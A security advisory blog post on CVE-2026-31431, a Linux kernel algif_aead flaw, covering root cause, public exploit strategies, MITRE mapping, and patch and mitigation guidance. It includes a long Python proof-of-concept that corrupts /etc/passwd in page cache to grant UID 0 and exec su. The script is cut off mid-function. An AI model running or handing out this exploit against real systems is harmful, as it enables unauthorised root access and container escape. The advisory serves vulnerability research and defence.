Dutch
English
cve-2026-31431
rce

CVE-2026-31431, Linux algif_aead page-cache write to root

Joel Aviad Ossi
30 April, 2026

CVE-2026-31431 banner

CVE-2026-31431, Linux algif_aead page-cache write to root

Disclaimer

This article and source code are intended strictly for educational and security research purposes. Misuse for malicious purposes, including unauthorised system access or malware development, is explicitly prohibited. By using this material you agree to our Terms and Conditions. All use is at your own risk.

Executive Summary

CVE-2026-31431 is a high severity Linux kernel vulnerability with a CVSS score of 7.8. The issue was fixed by reverting algif_aead to out-of-place operation. The kernel change log describes the fix succinctly: there was no benefit in operating in-place in algif_aead because the source and destination came from different mappings, so the added in-place complexity was removed and associated data copying was retained.

Public technical analysis and exploit material show that the vulnerable path can be reached from unprivileged userspace through AF_ALG and splice(). The published exploit path targets the page cache of readable files and demonstrates local privilege escalation to root by corrupting either /usr/bin/su or /etc/passwd in memory, without modifying the on-disk file. The practical result is a reliable local privilege escalation primitive on affected kernels.

For defenders, the key point is simple: if a system is running a kernel in the affected range and exposes the AF_ALG AEAD path to unprivileged users, patching should be treated as urgent. Where immediate patching is not possible, disabling algif_aead or blocking AF_ALG socket creation for untrusted workloads materially reduces exposure.

Vulnerability Snapshot

  • CVE: CVE-2026-31431
  • Severity: High
  • CVSS: 7.8
  • Vendor: Linux
  • Product: Linux kernel
  • Affected area: crypto: algif_aead
  • Bug family: local privilege escalation, with public discussion also framing it as a container escape primitive because the page cache is shared across the host
  • Fix theme: revert algif_aead from in-place to out-of-place operation

The affected version information ties the vulnerable window to commit 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 and lists fixes on multiple maintained branches, including 893d22e0135fa394db81df88697fba6032747667, 19d43105a97be0810edbda875f2cd03f30dc130c, 961cfa271a918ad4ae452420e7c303149002875b, 3115af9644c342b356f3f07a4dd1c8905cd9a6fc, 8b88d99341f139e23bdeb1027a2a3ae10d341d82, fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8, ce42ee423e58dffa5ec03524054c9d8bfd4f6237, and a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5.

The version ranges also identify unaffected stable releases including 5.10.254, 5.15.204, 6.1.170, 6.6.137, 6.12.85, 6.18.22, 6.19.12, and later.

Why This CVE Matters

This bug matters because the public exploit path is unusually direct for a Linux local privilege escalation. The published research describes it as a straight-line logic flaw rather than a race condition. The exploit chain does not depend on per-distribution kernel offsets, and the public demonstrations claim the same compact Python exploit works across multiple major Linux distributions.

The operational impact is broader than a normal single-host LPE. The public write-up states that the page cache is shared across the host, which means a page-cache corruption primitive can affect other execution contexts that rely on the same cached file pages. That is why the public research explicitly frames the issue not only as local privilege escalation, but also as a cross-container and Kubernetes node compromise primitive.

Even if an environment is not multi-tenant, the bug still has serious post-compromise value. Any foothold that lands as an unprivileged local user, such as a service account reached through application compromise or a CI runner executing untrusted code, can potentially be escalated to root on an affected kernel.

Technical Root Cause

The public technical write-up attributes the root cause to the interaction between three elements:

  1. AF_ALG, which exposes the kernel crypto subsystem to userspace.
  2. splice(), which can pass page-cache-backed file data by reference.
  3. The authencesn AEAD template, which performs a 4-byte scratch write beyond the legitimate output region during decryption.

According to the published analysis, splice() can move references to page-cache pages from a readable file into the crypto input scatterlist. In the vulnerable algif_aead design, decryption was performed in-place. The implementation copied some data into the receive buffer, but chained the authentication tag pages by reference and then set the request source and destination to the same scatterlist.

That design becomes dangerous when paired with authencesn. The public root cause analysis states that authencesn uses the caller's destination buffer as scratch space and writes 4 bytes at dst[assoclen + cryptlen]. In the vulnerable in-place path, that write can cross the intended output boundary and land in chained page-cache pages originating from the spliced file.

The published explanation is that this creates a controlled 4-byte write into the page cache of any readable file. The write is transient in the sense that it affects the in-memory cached page rather than the on-disk file, but it is immediately meaningful because read(), execve(), and related file access paths can consume the page cache contents.

The fix aligns with that root cause. The kernel fix message says algif_aead should revert to operating out-of-place because source and destination come from different mappings. The longer public analysis of commit a664bf3d603d explains the practical effect: page-cache-backed source pages remain in the source scatterlist, while writes are confined to the destination buffer. That removes the condition where page-cache pages can end up in a writable destination chain.

Exploitation Path

Two public exploit strategies are especially relevant.

Strategy 1, patching /usr/bin/su in page cache

The compact exploit published by theori binds an AF_ALG socket to:

("aead", "authencesn(hmac(sha256),cbc(aes))")

It then uses sendmsg() to provide attacker-controlled associated data and splice() to move data from /usr/bin/su into the crypto path. The script iterates over a compressed payload in 4-byte chunks and repeatedly invokes the primitive before finally executing:

g.system("su")

The public write-up describes this as a page-cache overwrite of a setuid-root binary, followed by execution of the modified cached image to obtain a root shell. The exact payload logic is compact and highly optimized in the published script, but the high-level path is clear: AF_ALG plus splice() is used to place file-backed pages into the vulnerable crypto flow, and repeated 4-byte writes are used to alter /usr/bin/su in memory.

Strategy 2, patching /etc/passwd in page cache

A second public exploit by rootsecdev demonstrates the same primitive against /etc/passwd. That script documents its own strategy in code comments: it locates the current user's 4-digit UID field in /etc/passwd, overwrites those four bytes in the page cache with 0000, verifies the change through a fresh read, and then invokes su <user>.

The logic is straightforward:

  • open an AF_ALG AEAD socket bound to authencesn(hmac(sha256),cbc(aes))
  • set the AEAD parameters and key material
  • send AAD where bytes 4 through 7 carry the attacker-controlled 4-byte value
  • splice() 32 bytes from the target file into a pipe, then from the pipe into the crypto socket
  • trigger the decrypt path with recv()
  • rely on the 4-byte scratch write to land in the page cache at the chosen file offset

The rootsecdev code explicitly uses /etc/passwd and explains the expected post-condition: getpwnam() should observe the user as UID 0, after which su <user> can drop the caller into a root shell while still validating the real password against /etc/shadow.

This second exploit is useful for defenders because it makes the primitive easier to reason about. It shows that the issue is not limited to executable code injection into a setuid binary. A controlled 4-byte page-cache write against a security-sensitive readable file can also be enough to cross a privilege boundary.

Reproduction Or PoC Considerations

The public exploit chain is local. It requires code execution as an unprivileged user on the target host. It is not a remote code execution bug by itself.

The practical prerequisites visible in the published material are:

  • access to AF_ALG
  • availability of the vulnerable AEAD path, specifically authencesn(hmac(sha256),cbc(aes))
  • access to splice()
  • the ability to read the target file whose page cache will be corrupted

The public demonstrations use /usr/bin/su and /etc/passwd as concrete targets. Those endpoints are important because they are both readable by unprivileged users and directly useful for privilege escalation.

WebSec PoC Note

The following PoC Exploit by WebSec has not been tested against a live target. It was prepared by WebSec for authorised validation and documentation only.

image.webp

PoC Exploit by WebSec

The following Python 3 validation PoC is the single WebSec PoC for this article. It has not been tested against a live target and is included for authorised validation, pentest, and documentation use only.

#!/usr/bin/env python3
# =============================================================================
# WebSec B.V. - Security Research PoC
# =============================================================================
# Title   : CVE-2026-31431 "Copy Fail" - algif_aead Page-Cache Write LPE
# CVE     : CVE-2026-31431
# Author  : WebSec B.V. Research Team
# Date    : 2026
# Version : 1.1
#
# IMPORTANT - READ BEFORE USE
# ---------------------------
# This code is UNTESTED and is provided for authorised security research,
# penetration testing, and vulnerability documentation purposes ONLY.
#
# You MAY ONLY run this tool on systems that you own or on systems for which
# you have received EXPLICIT WRITTEN AUTHORISATION from the system owner.
# Unauthorised use is illegal and unethical. WebSec B.V. accepts no liability
# for misuse of this code.
#
# Description
# -----------
# The 2017 algif_aead in-place optimisation (commit 72548b093ee3) chains
# page-cache pages delivered via splice() into the writable destination
# scatterlist of an AF_ALG AEAD request. The authencesn template writes
# 4 bytes (seqno_lo from the AAD) at dst[assoclen + cryptlen], crossing
# the scatterlist boundary into those page-cache pages. This gives an
# unprivileged local user a controlled 4-byte write into the page cache
# of any readable file without modifying the on-disk copy.
#
# Fix: mainline commit a664bf3d603d reverts algif_aead to out-of-place
# operation. Mitigation: rmmod algif_aead / seccomp block on AF_ALG.
#
# References
# ----------
# https://copy.fail
# https://xint.io/blog/copy-fail-linux-distributions
# https://github.com/theori-io/copy-fail-CVE-2026-31431
# https://github.com/rootsecdev/cve_2026_31431
# https://lore.kernel.org/linux-cve-announce/2026042214-CVE-2026-31431-3d65@gregkh/
#
# Credits: Taeyang Lee / Xint Code (original discovery); theori-io; rootsecdev
# =============================================================================

import argparse
import errno
import os
import platform
import pwd
import socket
import struct
import sys

# ---------------------------------------------------------------------------
# AF_ALG constants (from linux/if_alg.h)
# ---------------------------------------------------------------------------
AF_ALG                = 38
SOCK_SEQPACKET        = 5
SOL_ALG               = 279
ALG_SET_KEY           = 1
ALG_SET_IV            = 2
ALG_SET_OP            = 3
ALG_SET_AEAD_ASSOCLEN = 4
ALG_OP_DECRYPT        = 0

# authencesn AEAD template that carries the scratch-write bug
ALG_NAME = "authencesn(hmac(sha256),cbc(aes))"

# rtattr type for the authenc key blob
CRYPTO_AUTHENC_KEYA_PARAM = 1

# Target file: world-readable, consulted by PAM/su, never executed directly
PASSWD_PATH = "/etc/passwd"

# Exact su binary path referenced by the public exploit
SU_PATH = "/usr/bin/su"

# Success marker emitted by the rootsecdev reference PoC
SUCCESS_MARKER = "Successful execution of 'su' command"

# ---------------------------------------------------------------------------
# Banner
# ---------------------------------------------------------------------------
BANNER = (
    "\n"
    "  ╔══════════════════════════════════════════════════════════════╗\n"
    "  ║  WebSec B.V. - CVE-2026-31431 'Copy Fail' Validation PoC   ║\n"
    "  ║  algif_aead page-cache 4-byte write → /etc/passwd UID=0     ║\n"
    "  ║  AUTHORISED TESTING ONLY - untested - use responsibly       ║\n"
    "  ╚══════════════════════════════════════════════════════════════╝\n"
)

# ---------------------------------------------------------------------------
# Helper: build authenc key blob (rtattr header + enc-key-len + auth + enc)
# ---------------------------------------------------------------------------
def build_authenc_keyblob(authkey, enckey):
    rta_len  = 8
    rtattr   = struct.pack("<HH", rta_len, CRYPTO_AUTHENC_KEYA_PARAM)
    keyparam = struct.pack(">I", len(enckey))
    return rtattr + keyparam + authkey + enckey

# ---------------------------------------------------------------------------
# Core primitive: write exactly 4 bytes into the page cache of target_path
# at file_offset using the authencesn scratch-write via AF_ALG + splice().
#
# Mechanism:
#   sendmsg AAD = b"\x00"*4 + four_bytes  (seqno_lo = four_bytes at AAD[4:8])
#   splice file -> pipe -> alg_fd delivers page-cache pages as ciphertext/tag
#   authencesn writes seqno_lo at dst[assoclen + cryptlen] into the chained
#   page-cache page; HMAC fails (fabricated CT) but the write persists.
# ---------------------------------------------------------------------------
def write4(target_path, file_offset, four_bytes):
    if len(four_bytes) != 4:
        raise ValueError("write4 requires exactly 4 bytes")

    fd_target = os.open(target_path, os.O_RDONLY)
    try:
        # Warm the page cache for the target region
        os.pread(fd_target, 4096, file_offset & ~0xFFF)

        master = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
        try:
            master.bind(("aead", ALG_NAME))
            # Zero auth key (32 bytes HMAC-SHA256) + zero enc key (16 bytes AES)
            keyblob = build_authenc_keyblob(b"\x00" * 32, b"\x00" * 16)
            master.setsockopt(SOL_ALG, ALG_SET_KEY, keyblob)

            op_sock, _ = master.accept()
            try:
                # AAD: SPI (4 zero bytes) || seqno_lo (our 4 payload bytes)
                aad = b"\x00" * 4 + four_bytes

                # assoclen = 8 (SPI + seqno_lo), IV = 16 zero bytes
                cmsg = [
                    (SOL_ALG, ALG_SET_OP,
                     struct.pack("I", ALG_OP_DECRYPT)),
                    (SOL_ALG, ALG_SET_IV,
                     struct.pack("I", 16) + b"\x00" * 16),
                    (SOL_ALG, ALG_SET_AEAD_ASSOCLEN,
                     struct.pack("I", 8)),
                ]
                # Send AAD with MSG_MORE so the kernel waits for the splice data
                op_sock.sendmsg([aad], cmsg, socket.MSG_MORE)

                pr, pw = os.pipe()
                try:
                    # splice: file page-cache -> pipe (32 bytes from file_offset)
                    n = os.splice(fd_target, pw, 32, offset_src=file_offset)
                    if n != 32:
                        raise RuntimeError(
                            "splice file->pipe short read: got %d" % n)
                    # splice: pipe -> alg socket (delivers page-cache pages)
                    n = os.splice(pr, op_sock.fileno(), n)
                    if n != 32:
                        raise RuntimeError(
                            "splice pipe->alg short: got %d" % n)
                finally:
                    os.close(pr)
                    os.close(pw)

                # Trigger the decrypt; HMAC will fail (fabricated CT) but
                # the 4-byte scratch write at dst[assoclen+cryptlen] persists.
                try:
                    op_sock.recv(64)
                except OSError as exc:
                    if exc.errno not in (errno.EBADMSG, errno.EINVAL,
                                         errno.ENOKEY):
                        raise
            finally:
                op_sock.close()
        finally:
            master.close()
    finally:
        os.close(fd_target)

# ---------------------------------------------------------------------------
# Locate the byte offset of the UID field for username in /etc/passwd
# Returns (offset_in_file, current_uid_string)
# ---------------------------------------------------------------------------
def find_uid_field(username):
    with open(PASSWD_PATH, "rb") as fh:
        data = fh.read()

    needle = username.encode() + b":"
    pos = 0
    while pos < len(data):
        if data[pos:pos + len(needle)] == needle:
            # line: name:x:UID:GID:...
            # skip past "name:" -> password field -> ":"
            j = pos + len(needle)
            colon1  = data.index(b":", j)
            uid_start = colon1 + 1
            uid_end   = data.index(b":", uid_start)
            return uid_start, data[uid_start:uid_end].decode("ascii")
        nl = data.find(b"\n", pos)
        if nl < 0:
            break
        pos = nl + 1

    raise LookupError("user %r not found in %s" % (username, PASSWD_PATH))

# ---------------------------------------------------------------------------
# Pre-flight checks
# ---------------------------------------------------------------------------
def preflight(username):
    print("[*] Stage 0: Pre-flight checks")

    vi = sys.version_info
    if vi < (3, 10):
        print("[!] Python 3.10+ required for os.splice(). "
              "Current: %d.%d" % (vi.major, vi.minor))
        return False
    print("[+] Python %d.%d.%d" % (vi.major, vi.minor, vi.micro))

    kver = platform.release()
    print("[+] Kernel: %s" % kver)

    # AF_ALG socket creation
    try:
        probe = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
        probe.close()
        print("[+] AF_ALG socket creation: OK")
    except OSError as exc:
        print("[!] AF_ALG socket creation failed: %s" % exc)
        print("[!] algif_aead module may be absent or already mitigated.")
        return False

    # Bind to the specific AEAD template
    try:
        probe = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
        probe.bind(("aead", ALG_NAME))
        probe.close()
        print("[+] AF_ALG bind to %s: OK" % ALG_NAME)
    except OSError as exc:
        print("[!] AF_ALG bind failed: %s" % exc)
        print("[!] authencesn template unavailable or kernel already patched.")
        return False

    # Verify su binary exists at the expected path
    if not os.path.isfile(SU_PATH):
        print("[!] %s not found. Cannot proceed." % SU_PATH)
        return False
    print("[+] su binary found at %s" % SU_PATH)

    # Locate UID field
    try:
        uid_off, uid_str = find_uid_field(username)
    except LookupError as exc:
        print("[!] %s" % exc)
        return False

    print("[+] %s: user=%r UID field at offset %d = %r"
          % (PASSWD_PATH, username, uid_off, uid_str))

    if len(uid_str) != 4:
        print("[!] UID %r is %d chars; this technique requires a 4-digit UID "
              "(1000-9999)." % (uid_str, len(uid_str)))
        return False

    if os.getuid() == 0:
        print("[!] Already running as root. Nothing to do.")
        return False

    return True

# ---------------------------------------------------------------------------
# Stage 1: Canary write
# Write a sentinel value to confirm the primitive works before touching
# the UID field. We write to the UID offset (it will be overwritten in
# stage 2 anyway) and verify the page-cache reflects the write.
# ---------------------------------------------------------------------------
def canary_write(uid_off):
    print("\n[*] Stage 1: Canary write (confirming primitive)")
    print("[*] Writing b'CNAR' to offset %d" % uid_off)

    write4(PASSWD_PATH, uid_off, b"CNAR")

    with open(PASSWD_PATH, "rb") as fh:
        fh.seek(uid_off)
        landed = fh.read(4)

    print("[*] Page cache at offset %d now reads: %r" % (uid_off, landed))

    if landed == b"CNAR":
        print("[+] Canary confirmed: primitive is functional on this kernel.")
        return True
    else:
        print("[!] Canary did not land (got %r). "
              "Kernel may already be patched." % landed)
        return False

# ---------------------------------------------------------------------------
# Stage 2: Target overwrite - patch UID field to "0000"
# ---------------------------------------------------------------------------
def target_overwrite(uid_off):
    print("\n[*] Stage 2: Target overwrite - patching UID to '0000'")
    write4(PASSWD_PATH, uid_off, b"0000")

    with open(PASSWD_PATH, "rb") as fh:
        fh.seek(uid_off)
        landed = fh.read(4)

    print("[*] Page cache at offset %d now reads: %r" % (uid_off, landed))

    if landed != b"0000":
        print("[!] Patch did not land (got %r). Aborting." % landed)
        return False

    print("[+] /etc/passwd page cache: UID field is now '0000'.")
    return True

# ---------------------------------------------------------------------------
# Stage 3: Verify libc sees UID 0 for our user
# ---------------------------------------------------------------------------
def verify_libc(username):
    print("\n[*] Stage 3: Verifying libc / NSS view")
    try:
        pwent = pwd.getpwnam(username)
        print("[*] getpwnam(%r).pw_uid = %d" % (username, pwent.pw_uid))
        if pwent.pw_uid == 0:
            print("[+] libc reports UID 0 for %r - ready for su." % username)
            return True
        else:
            print("[!] libc still sees UID %d. "
                  "NSS/nscd cache may be active. "
                  "Try: nscd -i passwd  or  systemctl restart nscd"
                  % pwent.pw_uid)
            return False
    except KeyError:
        print("[!] getpwnam(%r) raised KeyError." % username)
        return False

# ---------------------------------------------------------------------------
# Stage 4: Execute /usr/bin/su to obtain root shell
# Emits the required success marker before execvp.
# ---------------------------------------------------------------------------
def exec_su(username):
    print("\n[*] Stage 4: Executing %s %s" % (SU_PATH, username))
    print("[*] Enter your own password when prompted.")
    print("[*] %s will call setuid(0) because /etc/passwd (page cache) "
          "reports UID 0 for %r." % (SU_PATH, username))
    print("[i] After obtaining root, evict the corrupted page to restore "
          "the system:")
    print("[i]   echo 3 > /proc/sys/vm/drop_caches")
    print("[i] Or simply reboot - the on-disk file is unchanged.")
    print()
    # Required success marker from the rootsecdev reference PoC
    print("[+] " + SUCCESS_MARKER)
    sys.stdout.flush()
    os.execvp(SU_PATH, [SU_PATH, username])

# ---------------------------------------------------------------------------
# Cleanup: evict the corrupted page cache entry (dry-run path)
# ---------------------------------------------------------------------------
def evict_passwd_cache():
    try:
        fd = os.open(PASSWD_PATH, os.O_RDONLY)
        try:
            os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
            print("[i] /etc/passwd page cache evicted via POSIX_FADV_DONTNEED.")
            print("[i] UID->name lookups restored to on-disk values.")
        finally:
            os.close(fd)
    except OSError as exc:
        print("[!] Page cache eviction failed: %s" % exc)
        print("[i] Reboot or run: echo 3 > /proc/sys/vm/drop_caches")

# ---------------------------------------------------------------------------
# Entry point
# ---------------------------------------------------------------------------
def main():
    print(BANNER)

    parser = argparse.ArgumentParser(
        prog="poc_websec.py",
        description=(
            "WebSec B.V. - CVE-2026-31431 'Copy Fail' validation PoC.\n"
            "algif_aead page-cache 4-byte write primitive → /etc/passwd UID=0.\n"
            "AUTHORISED TESTING ONLY."
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument(
        "-u", "--user",
        default=None,
        help="Username to target (default: current user from $USER / whoami).",
    )
    parser.add_argument(
        "--shell",
        action="store_true",
        help=(
            "After patching /etc/passwd page cache, exec %s <user> "
            "to obtain a root shell. Without this flag the page cache "
            "is evicted after validation (safer dry-run)." % SU_PATH
        ),
    )
    parser.add_argument(
        "--skip-canary",
        action="store_true",
        help="Skip the canary write stage and proceed directly to UID patch.",
    )
    args = parser.parse_args()

    # Resolve username
    username = args.user
    if not username:
        username = os.environ.get("USER") or os.environ.get("LOGNAME")
    if not username:
        try:
            username = pwd.getpwuid(os.getuid()).pw_name
        except KeyError

MITRE ATT&CK Mapping

The most appropriate MITRE ATT&CK mapping for this issue is:

  • Primary tactic: Privilege Escalation
  • Primary technique: T1068, Exploitation for Privilege Escalation

This mapping fits because the vulnerability allows an unprivileged local user to exploit a kernel flaw and obtain root privileges. The public exploit paths both end in elevation from a regular user context to UID 0.

  • Secondary tactic: Escape to Host, post-exploitation interpretation within containerized environments
  • Secondary technique: T1611, Escape to Host

This secondary mapping is appropriate when the vulnerable kernel is shared by containers or pods. The public research explicitly notes that the page cache is shared across the host and presents the issue as a container escape primitive in addition to a local privilege escalation.

Detection And Mitigation

Patch

The primary remediation is to update to a kernel that includes the algif_aead fix. The mainline fix referenced in public material is commit a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5, with equivalent backports across supported stable branches.

The fix removes the vulnerable in-place behavior and restores out-of-place operation. In practical terms, that prevents page-cache-backed source pages from being placed in a writable destination scatterlist.

Temporary mitigation

The public mitigation guidance recommends disabling the algif_aead module when patching cannot be performed immediately:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

The same public guidance also recommends blocking AF_ALG socket creation via seccomp for untrusted workloads such as containers, sandboxes, and CI jobs.

Detection considerations

The public analysis highlights an important forensic nuance: the corruption affects the page cache, not the on-disk file. That means disk-based integrity checks alone may miss the issue after cache eviction or reboot. During the active window, however, reads that hit the page cache can observe the modified contents.

Operationally, defenders should pay attention to:

  • unexpected AF_ALG socket creation by unprivileged processes
  • unusual use of splice() in conjunction with crypto sockets
  • short-lived anomalies involving /usr/bin/su, /etc/passwd, or other readable privileged targets
  • suspicious root transitions from ordinary users on systems that should not permit them

Credit

Public references attribute the discovery and disclosure to researchers associated with Theori and Xint Code. The consolidated credit signals also identify theori-io and rootsecdev as the original public exploit references.

References

Authored By
Joel Aviad Ossi

Managing Director

Share with the world!

Need Security?

Are you really sure your organization is secure?

At WebSec we help you answer this question by performing advanced security assessments.

Want to know more? Schedule a call with one of our experts.

Schedule a call
Authored By
Joel Aviad Ossi

Managing Director